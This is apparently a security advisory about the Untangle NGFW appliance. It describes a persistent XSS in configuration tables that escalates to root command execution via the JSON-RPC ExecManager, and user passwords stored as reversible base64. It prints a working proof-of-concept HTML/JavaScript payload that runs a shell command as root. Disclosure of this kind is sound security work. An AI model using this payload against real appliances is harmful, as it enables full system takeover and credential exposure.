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  1. Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration > Networking > Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html> - Information disclosure from Local Directory Authentication requiredConfirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user. CH Source
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